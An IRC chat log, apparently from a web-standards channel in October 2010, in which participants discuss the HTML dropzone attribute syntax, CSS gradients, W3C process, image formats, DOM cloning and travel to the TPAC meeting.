[16:12:01.0000] <Hixie>
well i first specced it in like 2006 or 2007 or so

[16:12:02.0000] <zcorpan>
i thought firefox implemented it after Hixie specced it

[16:12:03.0000] <Hixie>
the new stuff i added recently isn't implemented anywhere

[16:13:00.0000] <Hixie>
zcorpan: yeah, iirc that's right

[16:13:01.0000] <MikeSmith>
oh

[16:13:02.0000] <MikeSmith>
OK

[16:13:03.0000] <Hixie>
in fact the new stuff was based on implementation feedback

[16:13:04.0000] <zcorpan>
opera doesn't support dnd yet

[16:13:05.0000] <Hixie>
it's almost directly copied from something i think the chrome team first suggested in the whatwg list, which then had some feedback from various others

[16:14:00.0000] <Hixie>
a few years back

[16:15:00.0000] <Hixie>
oh i should make dropzone="" also let you say if it's a move, copy, or link

[16:16:00.0000] <Hixie>
dropzone="copy text/plain text/html org.example.text file:text/plain file:text/html file:application/xhtml+xml"

[16:17:00.0000] <Hixie>
which would mean that the cursor would be set to "copy" if any of the items in the drag data store had any of the given types, where the types refer to text items except if they start with "file:" in which case they're file types?

[16:19:00.0000] <Hixie>
or maybe dropzone="s:text/plain s:text/html f:text/plain f:text/html s:org.example.text copy" - each type has to start with f: or s: for files or strings, and there can be a "copy" keyword anywhere?

[16:20:00.0000] <MikeSmith>
yipes

[16:20:01.0000] <MikeSmith>
that looks pretty complicated

[16:20:02.0000] <MikeSmith>
error prone

[16:21:00.0000] <MikeSmith>
are you serious about that?

[16:21:01.0000] <Hixie>
well in practice it'd usually just be dropzone="move s:text/plain"

[16:21:02.0000] <Hixie>
or dropzone="f:image/png f:image/jpeg"

[16:22:00.0000] <Hixie>
is that that bad?

[16:22:01.0000] <Hixie>
i dunno how else to do it really

[16:23:00.0000] <Hixie>
i think we need a prefix just so that we have room in the lexical space to add features

[16:23:01.0000] <MikeSmith>
I'm trying to think of some precedents

[16:23:02.0000] <MikeSmith>
some other attributes with that kind of microsyntax

[16:24:00.0000] <MikeSmith>
and honestly I'm also thinking about, That's gonna suck if I have to be the one to write the datatype checking for it in the validator

[16:25:00.0000] <MikeSmith>
the validator really needs some additional contributors

[16:25:01.0000] <MikeSmith>
especially ones that are happy to do all the time-consuming and unrewarding implementation parts

[16:25:02.0000] <MikeSmith>
so I'm sure we're going to have a lot of people lining up for that job

[16:26:00.0000] <MikeSmith>
it might even surpass the long line of editors we have waiting to write specs

[16:27:00.0000] <MikeSmith>
Hixie: anyway, looking at it objectively, I guess it ain't so bad

[16:27:01.0000] <MikeSmith>
if it's going to be done declaratively

[16:28:00.0000] <Hixie>
it's simpler than the JS equivalent, at least

[16:29:00.0000] <karlcow>
dropzone="str(text/plain, text/html, org.example.text) file(text/plain, text/html) copy"

[16:31:00.0000] <karlcow>
hmm not sure it is more readable.

[16:33:00.0000] <Hixie>
harder to parse, too

[16:33:01.0000] <MikeSmith>
yeah

[16:34:00.0000] <MikeSmith>
Hixie: what does "link" do?

[16:34:01.0000] <MikeSmith>
like a symlink?

[16:34:02.0000] <MikeSmith>
/me goes to read the current spec

[16:34:03.0000] <Hixie>
yeah

[16:34:04.0000] <MikeSmith>
ah, OK

[16:34:05.0000] <Hixie>
think url dragged to desktop

[16:34:06.0000] <MikeSmith>
OK

[16:34:07.0000] <MikeSmith>
is that new-ish?

[16:34:08.0000] <Hixie>
nope

[16:35:00.0000] <Hixie>
link, move, and copy were the three types IE supported from the start

[16:35:01.0000] <MikeSmith>
man, I need to actually read this stuff

[16:35:02.0000] <Hixie>
/me finds a bit he forgot to spec out

[16:35:03.0000] <Hixie>
oops

[16:35:04.0000] <MikeSmith>
or actually, remember it

[16:38:00.0000] <MikeSmith>
Hixie: this is probably a dumb thought, but I would think it'd be a lot less error-prone if it essentially used keywords instead of mime types

[16:38:01.0000] <MikeSmith>
or commonly recognized extensions

[16:38:02.0000] <Hixie>
well technically it's whatever the author uses

[16:38:03.0000] <Hixie>
the spec doesn't require it to be a mime type

[16:39:00.0000] <Hixie>
it only uses mime types for things from the OS

[16:39:01.0000] <MikeSmith>
I see

[16:39:02.0000] <Hixie>
since different OSes use different type mechanisms for the drag-and-drop and clipboard mechanisms, and mime types are the least crazy of them

[16:39:03.0000] <Hixie>
that i have found

[16:39:04.0000] <Hixie>
and we need a single common one to use on all platforms

[16:39:05.0000] <Hixie>
for the web

[16:42:00.0000] <MikeSmith>
/me notices slinkcoding is here

[16:42:01.0000] <MikeSmith>
slinkcoding: hey, glad to see you here

[16:43:00.0000] <MikeSmith>
/me guesses slinkcoding might either be sleeping or out doing something fun since it's Friday night at 00:45 in Budapest


2010-10-30
[17:12:00.0000] <Hixie>
i guess dragenter and dragover should be fired before the dropzone="" attribute is examined

[17:13:00.0000] <Hixie>
and the attribute should only take effect if the event is not canceled

[20:00:00.0000] <dominicdinada>
Question with CSS, pretty simple and just looking for an easy answer. When do you use # or . or ? like does # represent a class or id type 

[20:01:00.0000] <gsnedders>
dominicdinada: #foo is for id=foo, .foo is for class=foo

[20:01:01.0000] <dominicdinada>
then what does the classless foo represent ?  just basic values ? 

[20:02:00.0000] <dominicdinada>
like h1, button, canvas ? 

[20:03:00.0000] <boogyman>
`css3 selectors @ dominicdinada 

[20:03:01.0000] <dominicdinada>
ok

[20:03:02.0000] <boogyman>
http://www.w3.org/TR/css3-selectors too*

[20:03:03.0000] <dominicdinada>
thank you for the quick information :D 

[20:05:00.0000] <aho>
classes are the perfect hook for css, ids are the perfect hook for js :>

[20:05:01.0000] <aho>
oh. left. tsk :>

[01:15:00.0000] <Hixie>
nessy: if someone told me they wanted text that flew in as you describe, i would say "what's the use case?" and try to understand their underlying need. i certainly would not just assume that their need made sense.

[01:16:00.0000] <nessy>
sure, so that's the right question to ask :)

[01:24:00.0000] <Hixie>
the use case here is "be able to view video and listen to audio or do the equivalents when one is unable to use the relevant senses", however that's not what the requirements doc says :-)

[01:35:00.0000] <nessy>
the question is what you do after that

[01:35:01.0000] <nessy>
what's the consequence of that need?

[01:35:02.0000] <nessy>
so the use case for the web is "I need to see text on the screen" - so we don't need any of the fancy html markup, right?

[01:36:00.0000] <nessy>
you dig deeper and you ask what they are used to now and you get much of what is stated there

[01:37:00.0000] <nessy>
I agree that some stuff goes over the top, but so would any user asked for their requirements

[01:38:00.0000] <nessy>
so you start by satisfying the most important needs, one by one - I think you've done a great job at that, incidentally

[01:51:00.0000] <nessy>
say, you mentioned you will be looking at websrt again - do you have a rough idea when?

[03:35:00.0000] <annevk>
http://www.msnbc.msn.com/id/39875964/ns/msnbc_tv-countdown_with_keith_olbermann/ -- whoa, I thought our elections were bad

[04:11:00.0000] <Dashiva>
What does "revert backwards" even mean?

[07:48:00.0000] <annevk>
haha http://html5zombo.com/

[11:08:00.0000] <Okee>
Does anyone know of a credible textbook on html 5.0?

[11:09:00.0000] <aho>
remy sharp, bruce lawson - introducing html5

[11:09:01.0000] <aho>
is pretty good

[11:09:02.0000] <Okee>
Is this actually a textbook as opposed to a reference book?

[11:10:00.0000] <aho>
text book (a well written one)

[11:10:01.0000] <aho>
it just provides some kind of overview though... well, the title gives that sorta away "introducing html5" :>

[11:10:02.0000] <aho>
but i really liked it

[11:10:03.0000] <aho>
read the whole thing in one go

[11:11:00.0000] <Okee>
Does it offer exercises?

[11:11:01.0000] <aho>
http://introducinghtml5.com/

[11:11:02.0000] <aho>
no

[11:11:03.0000] <aho>
(not really needed imo)

[11:15:00.0000] <Okee>
Thanks.

[11:33:00.0000] <Okee>
Is anyone on here actually using html 5.0 in their websites?

[11:34:00.0000] <Okee>
I have attended a few presentations on html 5.0 and it sounds like there are still a few issues with Section 508 matters, but other than that it is ready to go.

[14:47:00.0000] <Hixie>
heycam: given what you wrote about sequence<T>, it seems that FileList being a sequence<T> in FileAPI is a bug

[15:38:00.0000] <MikeSmith>
anybody tried the new version of BBEdit?

[15:38:01.0000] <MikeSmith>
9.6

[15:38:02.0000] <MikeSmith>
"A syntax table is now in place for HTML5, so that Check Syntax, Tag Maker, and Edit Tag should now behave reasonably on HTML5 documents."

[15:38:03.0000] <MikeSmith>
http://www.barebones.com/support/bbedit/current_notes.html

[15:39:00.0000] <Steve^>
Maybe i'm being picky, but I prefer it when release notes say "Edit tag will now behave correctly" rather than "should behave reasonably"

[15:40:00.0000] <Steve^>
Seems like a lack of certainty

[15:41:00.0000] <Hixie>
the latter is probably more accurate :-)

[15:41:01.0000] <MikeSmith>
CYA language I guess

[15:42:00.0000] <Steve^>
CYA?

[15:42:01.0000] <MikeSmith>
cover your ass

[16:12:00.0000] <Dashiva>
"should now work" is also useful to mean "we've fixed all the known bugs, but we haven't checked the entire bug surface so it's quite possible more bugs with similar symptoms exist"


2010-10-31
[17:07:00.0000] <Dashiva>
hng

[17:08:00.0000] <Dashiva>
I thought insisting on publishing HTML5 as HTML4 was bad, then I read about HTMLnext.pdf

[17:11:00.0000] <AryehGregor>
"Silos in the Working Group structure which inhibits alignment"

[17:11:01.0000] <AryehGregor>
What does that mean?

[17:12:00.0000] <Dashiva>
It means that SVG reinvents anchors instead of using HTML

[17:12:01.0000] <AryehGregor>
/me does not find any relevant definition of "silo" in the dictionary

[17:12:02.0000] <AryehGregor>
Is it Microspeak or something?

[17:12:03.0000] <Dashiva>
No, it's standard

[17:13:00.0000] <Dashiva>
You have siloing when separate groups/departments/etc don't communicate with each other

[17:13:01.0000] <AryehGregor>
So it's standard bureaucrat speak, then?

[17:14:00.0000] <AryehGregor>
Why is HTMLnext.pdf written in bureaucrat jargon instead of technojargon?

[17:14:01.0000] <AryehGregor>
/me grumbles

[17:14:02.0000] <Dashiva>
Standard anyone-who's-worked-in-an-organization-with-more-than-a-few-hundred-people

[17:14:03.0000] <AryehGregor>
Right, so bureaucrat-speak.

[17:16:00.0000] <AryehGregor>
You know, I think I agree with most of HTMLnext.pdf, but I dislike it anyway because of the obnoxious way it's written.

[17:16:01.0000] <Dashiva>
It could have been the founding document of WHATWG for large parts

[17:17:00.0000] <Hixie>
it's only 7 years late!

[17:17:01.0000] <Dashiva>
But it's there, from Microsoft. I'd say that's significant.

[17:17:02.0000] <Hixie>
http://www.w3.org/2004/04/webapps-cdf-ws/papers/opera.html is the actual founding document

[17:17:03.0000] <AryehGregor>
Well, it argues in favor of modularization.

[17:17:04.0000] <Hixie>
(written in html, not pdf)

[17:17:05.0000] <AryehGregor>
Also emphasizes tests, which the WHATWG . . . has not.

[17:18:00.0000] <AryehGregor>
"Simply stated, there is evidence of overdesign."  +1001

[17:18:01.0000] <Dashiva>
Hixie's timeline has, what, 10 years blocked off for writing the test suite?

[17:18:02.0000] <Hixie>
yeah, what Dashiva said

[17:18:03.0000] <Hixie>
also, at the time the whatwg was formed, test suites were not controversial -- everyone agreed we needed them

[17:18:04.0000] <Hixie>
(and still do)

[17:18:05.0000] <Hixie>
(and work is ongoing)

[17:18:06.0000] <AryehGregor>
This appears to be arguing that the tests should be written along with the specs, not that we should all agree we want comprehensive test suites and then not write them for seven years and counting.

[17:19:00.0000] <Hixie>
(the fundamental principles of the WHATWG work however are still not clearly uncontroversial)

[17:19:01.0000] <Hixie>
AryehGregor: yeah, i don't think anyone disagrees with that position

[17:19:02.0000] <Hixie>
saying it should happen doesn't make it happen

[17:20:00.0000] <AryehGregor>
Unless you're a manager at a company who gets to tell your subordinates what to do.  :)

[17:21:00.0000] <AryehGregor>
Or maybe the developers at Microsoft are the ones who decided to write all those tests, I don't know.  But they say they'd like to submit them earlier in the process next time, which is nice.

[17:21:01.0000] <AryehGregor>
Go Microsoft.

[17:21:02.0000] <webben>
Dashiva: "HTMLnext.pdf"?

[17:21:03.0000] <Dashiva>
http://twitter.com/html5douche/status/29222926252

[17:21:04.0000] <AryehGregor>
(I'm not sure I ever anticipated writing the words "Go Microsoft" without inserting something like like "to hell" in there, but there you have it.)

[17:21:05.0000] <webben>
ta

[17:22:00.0000] <Dashiva>
I'm sure there's a more official link somewhere

[17:23:00.0000] <AryehGregor>
I just used Google.

[17:42:00.0000] <MikeSmith>
I guess there's no way to try BBEdit for free

[17:45:00.0000] <Hixie>
AryehGregor: nothing stopping them from submitting them right now, why would they wait until next time?

[17:46:00.0000] <Hixie>
anyway, i agree that much of what they say is on the ball

[17:47:00.0000] <Hixie>
and i'm glad they've finally joined the party (?)

[17:58:00.0000] <MikeSmith>
seems you can download a 30-day trial copy of BBEdit here: http://www.barebones.com/products/bbedit/demo.html

[17:59:00.0000] <MikeSmith>
appears to have pretty good support for new HTML5 elements

[17:59:01.0000] <MikeSmith>
can be added through completion and such

[18:03:00.0000] <nessy>
I'm not sure that document (HTMLnext.pdf) tells me anything new or even proposes a feasible process to fix things

[18:03:01.0000] <nessy>
I actually think the problem is that something like the WHATWG is missing in the W3C - a collaboration between browser vendors to determine which of the specified stuff will actually go into the browser

[18:04:00.0000] <nessy>
it's not the individual specs that make a difference - it's the implementation

[18:04:01.0000] <nessy>
needs a trusted benevolent dictator to some extent ;)

[18:04:02.0000] <Hixie>
tim is the w3c's benevolent dictator

[18:05:00.0000] <Hixie>
but he works on the semantic web, not html

[18:14:00.0000] <MikeSmith>
Tim works on a lot of stuff

[18:14:01.0000] <MikeSmith>
he's certainly paying a lot of attention to the HTML work

[18:15:00.0000] <MikeSmith>
the TAG is too

[18:16:00.0000] <MikeSmith>
nessy: how is that collaboration not happening at the W3C?

[18:16:01.0000] <MikeSmith>
fully agree the implementation is what matters

[18:16:02.0000] <MikeSmith>
and that collaboration among the UA implementors is what is needed to make it happen

[18:17:00.0000] <MikeSmith>
nessy: or to put it in other words, how can the collaboration be made to happen better at the W3C?

[18:18:00.0000] <MikeSmith>
or what does it seem is preventing from happening the way it should be optimally happening?

[18:18:01.0000] <nessy>
MikeSmith: the collaboration between UAs is only really now happening again with HTML5 - I was referring to how there wasn't really any concerted progress beforehand, only little bits here and there without a bigger picture for moving HTML5 forward - and Tim seemed like he had lost interest in moving HTML forward and was rather working towards eliminating it

[18:18:02.0000] <MikeSmith>
ah, OK

[18:19:00.0000] <MikeSmith>
I can't say I'd agree that Tim is doing anything to work towards eliminating it

[18:20:00.0000] <nessy>
seeming as Tim is not leading the HTML WG - which to me is the heart of the Web - it just seems that the W3C isn't really the right forum to lead the web - but I don't want to sound unthankful - the W3C has done lots of great stuff ;)

[18:20:01.0000] <MikeSmith>
I would think Tim's public comments indicate that he doesn't think people should be wedded to the XML syntax

[18:20:02.0000] <nessy>
s/seeming/seeing/

[18:21:00.0000] <MikeSmith>
I don't like that phrase "lead the Web" much

[18:21:01.0000] <aho>
i like the xml syntax :>

[18:21:02.0000] <MikeSmith>
personally

[18:21:03.0000] <MikeSmith>
I think market needs lead the Web

[18:21:04.0000] <nessy>
I said "leading the HTML WG"

[18:21:05.0000] <nessy>
ah … hmm...

[18:21:06.0000] <MikeSmith>
oh, I meant the "the right forum to lead the web" part you said

[18:21:07.0000] <nessy>
I meant technically

[18:22:00.0000] <MikeSmith>
I think technically the Web should be led by market needs

[18:22:01.0000] <nessy>
the market had clearly spoken in 2000 that video on the Web was needed - the only ones listening were Macromedia

[18:22:02.0000] <MikeSmith>
yep

[18:22:03.0000] <nessy>
and the same for many other features that did a lot more to the Web than the whole XML craze

[18:23:00.0000] <nessy>
anyway - I think we're now in a productive phase again and that's great

[18:23:01.0000] <MikeSmith>
yeah

[18:23:02.0000] <MikeSmith>
and we have Microsoft increasingly more involved in that productive phase too

[18:24:00.0000] <MikeSmith>
investing more in the Web platform

[18:24:01.0000] <MikeSmith>
and Adobe too

[18:24:02.0000] <MikeSmith>
for that matter

[18:27:00.0000] <nessy>
and Google :)

[18:28:00.0000] <MikeSmith>
yeah

[18:28:01.0000] <aho>
i still want jng back, btw :>

[18:29:00.0000] <jcranmer>
it would help if there were a standard to replace animated GIFs

[18:29:01.0000] <aho>
it's pretty annoying that there isn't any lossy image format which also supports alpha

[18:29:02.0000] <aho>
mng

[18:29:03.0000] <aho>
<:

[18:29:04.0000] <jcranmer>
apng

[18:30:00.0000] <aho>
you don't really want to replace a 5mb gif with a 4mb apng, do you?

[18:31:00.0000] <Philip`>
I don't really want people to use 5MB animated GIFs at all - that's what video is for

[18:31:01.0000] <jcranmer>
video is even worse

[18:31:02.0000] <jcranmer>
shall i use H.264 or Ogg Theora?

[18:31:03.0000] <aho>
webm

[18:35:00.0000] <aho>
well, jng would cover some area which isn't covered by other formats

[18:35:01.0000] <aho>
to be honest it is covered by png32, but it's ridiculously big

[18:36:00.0000] <aho>
on some page i did recently there was a >300kb png32. it was the only choice. a quantized png8 didn't look any good

[18:36:01.0000] <aho>
a 70-80kb jng would have worked just fine

[18:37:00.0000] <aho>
maybe a 50kb one would have worked too

[18:38:00.0000] <aho>
makes their reasoning sorta funny, really. https://bugzilla.mozilla.org/show_bug.cgi?id=195280

[18:38:01.0000] <aho>
<:

[19:36:00.0000] <nessy>
MikeSmith: I use TextMate for editing anything

[19:36:01.0000] <nessy>
including HTML

[19:57:00.0000] <aho>
MikeSmith, try komodo edit. it's ace :)

[02:10:00.0000] <zcorpan>
cure list bullets in HTMLnext.pdf

[02:10:01.0000] <zcorpan>
s/cure/cute/

[04:12:00.0000] <annevk>
on my way to TPAC

[04:13:00.0000] <annevk>
curious about the XML vs HTML topic

[04:13:01.0000] <annevk>
but mostly looking forward to meeting people

[04:15:00.0000] <MikeSmith>
annevk: see you there

[04:15:01.0000] <annevk>
MikeSmith, when are you arriving?

[04:16:00.0000] <MikeSmith>
I get to the airport at 22:30

[04:16:01.0000] <annevk>
ah, I should be there shortly

[04:16:02.0000] <MikeSmith>
staying at the "Hotel Mercure Brotteaux"

[04:17:00.0000] <annevk>
according to this email, I'm staying at "HOTEL DES CONGRES"

[04:18:00.0000] <annevk>
no idea how to get there and no idea how to get from there to TPAC

[04:18:01.0000] <hsivonen>
annevk: I expect to get there by giving th address to a taxi driver and I expect to walk to TPAC

[04:21:00.0000] <annevk>
the latter sounds great

[04:21:01.0000] <hsivonen>
aside: I'm shocked, just, shocked, wow, just, wow at JF talking about my "myopic view" as a figure of speech with a negative connotation when I actually have myopia.

[04:21:02.0000] <annevk>
I guess I end up doing the former too, though I was hoping to take a bus or something

[04:21:03.0000] <annevk>
already took a taxi this morning as I was way late and it was pretty boring

[04:22:00.0000] <annevk>
I wonder if JF is around

[04:23:00.0000] <annevk>
he has an awesome mustache

[04:28:00.0000] <MikeSmith>
annevk, hsivonen - I have to drop off. See you both some time tomorrow

[04:29:00.0000] <annevk>
good trip man

[04:30:00.0000] <MikeSmith>
cheers

[06:46:00.0000] <espadrine>
Oh god, css gradients follow different syntax in every browser! And *they all suck*!

[06:46:01.0000] <espadrine>
Is there a hidden standard somewhere in preparation?

[06:55:00.0000] <TabAtkinsTPAC>
espadrine: The draft standard at http://dev.w3.org/csswg/css3-images is the official one, and it's what Firefox follows.

[06:55:01.0000] <TabAtkinsTPAC>
espadrine: Webkit's gradients were created as an experiment before this draft was written, and in fact inspired the current draft due to their suckiness.

[06:55:02.0000] <TabAtkinsTPAC>
espadrine: IE's gradients are some horrifying filter abomination, and shall not be discussed further.

[06:57:00.0000] <TabAtkinsTPAC>
espadrine: Opera doesn't have explicit gradient support, but you can hack it in via SVG backgrounds (which should also work in Webkit and FF, iirc).

[07:01:00.0000] <TabAtkinsTPAC>
The draft syntax may change somewhat to fix bugs and rough spots that have come up in implementation, particularly regarding transitioning/animating gradients.

[08:03:00.0000] <annevk>
arrived

[08:03:01.0000] <annevk>
hsivonen, you around already?

[08:07:00.0000] <espadrine>
TabAtkinsTPAC: thanks... At least there's one implementation!

[08:08:00.0000] <espadrine>
TabAtkinsTPAC: for what it's worth, they did quite a good job in removing the cruft from the initial webkit experiment!

[08:08:01.0000] <TabAtkinsTPAC>
"they" = me

[08:08:02.0000] <TabAtkinsTPAC>
So thanks!

[13:16:00.0000] <heycam>
Hixie, yes looks like (re FlieAPI use of sequence)

[15:04:00.0000] <smaug____>
annevk:  Is http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#clone trying to say that cloning documents wouldn't be supported?

[15:04:01.0000] <smaug____>
Though, when cloning a document "new ownerDocument" would be null

[15:20:00.0000] <annevk>
smaug____, I think we should support cloning documents

[15:20:01.0000] <annevk>
smaug____, there's some kind of hairy thing with DocumentType nodes there

[15:22:00.0000] <annevk>
smaug____, I think the silly thing is that adoptNode() would not work while importNode would

[15:23:00.0000] <hsivonen>
annevk: have you figured out, by any chance, if there's a way to get food near the hotel at this hour?

[15:23:01.0000] <annevk>
you have to walk quite a bit unfortunately

[15:23:02.0000] <annevk>
it's about fifteen minutes walk to the nearest district of kinds and I'm not sure what is open

[15:24:00.0000] <annevk>
but maybe the reception knows some kind of snack place closer by

[15:24:01.0000] <annevk>
too bad you just came in

[15:24:02.0000] <annevk>
/me just came back from dinner with the CSS guys

[15:24:03.0000] <hsivonen>
annevk: thanks. I'll resort to my snack reserve

[15:25:00.0000] <annevk>
whoa, Maciej is here

[15:25:01.0000] <annevk>
I guess it makes sense, but still unexpected

[15:27:00.0000] <hsivonen>
the hotel network is sad. :-(

[15:28:00.0000] <annevk>
something doesn't work? or the speed?

[15:28:01.0000] <hsivonen>
drops OpenVPN and ssh over OpenVPN all the time

[15:28:02.0000] <annevk>
or the weird customized username/password setup?

[15:28:03.0000] <hsivonen>
that, too

[15:28:04.0000] <annevk>
ooh, I have not tried VPN yet

[15:29:00.0000] <annevk>
hopefully VPN works at TPAC

[15:29:01.0000] <hsivonen>
and the ethernet cable is dead

[15:30:00.0000] <romeo_>
Pure guys. Where in the world are you?

[15:30:01.0000] <hsivonen>
romeo_: Lyon, France

[15:31:00.0000] <romeo_>
/me has never been to France

[15:33:00.0000] <romeo_>
s/pure/poor/

[15:33:01.0000] <romeo_>
English is hard

[15:34:00.0000] <annevk>
romeo_: 

[15:34:01.0000] <annevk>
euh, sorry about that

[15:35:00.0000] <annevk>
there's also lots of rain here, but sun is coming Tuesday I'm told

[15:43:00.0000] <annevk>
g'night all

[15:44:00.0000] <annevk>
/me is gonna try to get eight hours

[16:37:00.0000] <david_carlisle>
per spec is innerHTML supposed to work in an html5 math element?

[16:42:00.0000] <Philip`>
david_carlisle: innerHTML seems to be defined on HTMLElement and HTMLDocument, and I assume MathML elements aren't those interfaces, so I'd guess it shouldn't work

[16:43:00.0000] <Philip`>
(I'm not entirely confident on this though)

[16:43:01.0000] <Philip`>
(but I can't find anything that indicates it should work)

[16:44:00.0000] <david_carlisle>
Philip`: doesn't appear to work in FF4 or webkit nightlies, but i was sort of hoping it would

[16:49:00.0000] <gsnedders>
And then having it on Element just vary it depending upon the HTMLness flag on the owner document?

[16:52:00.0000] <david_carlisle>
something like that yes